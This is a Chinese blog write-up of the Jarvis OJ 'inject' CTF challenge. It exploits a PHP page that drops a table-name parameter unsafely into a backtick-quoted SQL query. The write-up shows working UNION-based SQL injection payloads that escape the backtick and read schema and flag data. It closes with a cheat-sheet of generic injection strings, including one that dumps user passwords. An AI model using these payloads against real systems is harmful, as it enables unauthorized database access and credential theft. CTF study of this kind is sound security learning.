前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Jarvis OJ inject

Jarvis OJ inject

作者头像
wywwzjj
发布2023-05-09 14:35:03
3740
发布2023-05-09 14:35:03
举报

http://web.jarvisoj.com:32794/index.php~

得到源码

代码语言:javascript
复制
<?php
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
?>

?table=flag 正常响应 ==> 存在 secret_flag 表 注意到这个反引号 ``,其作用是区分 MySQL 保留字与普通字符

本地尝试

代码语言:javascript
复制
create table desc  # 报错
create table `desc`  # 能成功执行

desc `abc` `def`
desc abc def 
# 效果是一样的

结合题目 ==> desc `secret_flag` ` (注意空格,此处如果是 desc `secret_flag`` 将被认为是执行 desc secret_flag`)

顺手执行

代码语言:javascript
复制
?table=flag`%20`%20union%20select%201

发现还是没有变化,依旧显示 flag{xxx} 不要灰心,这只显示了一条数据而已,加入 limit 试试

代码语言:javascript
复制
?table=flag`%20`%20union%20select%201%20limit%201,1

==> 1

查询字段

代码语言:javascript
复制
?table=flag`%20`%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20
where%20table_name=0x7365637265745f666c6167%20limit%201,1

==> flagUwillNeverKnow (如果 被过滤,此处 table_name 的值要进行 hex 编码)

查询数据

代码语言:javascript
复制
table=flag`%20`%20union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1

PS:也可以不用 limit,直接 where 0,使得前面的查询为空,则直接显示我们的数据 table=flag%20%20where%200%20union%20select%20flagUwillNeverKnow%20from%20secret_flag

补充知识

information_schema 存储数据库信息的数据库

数据库名 schemata => schema_name tables => table_schema columns => table_schema 表名 tables => table_name columns => table_name 列名 columns => columns_name

代码语言:javascript
复制
-- 获取当前数据库中所有表
select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 

-- 获得所有列名(字段)
select 1,group_concat(column_name) from information_schema.columns where table_name="flag"; 

-- 下载数据
-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

-- 获取表中的字段名
-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019/02/26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 得到源码
  • 查询字段
  • 查询数据
  • 补充知识
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档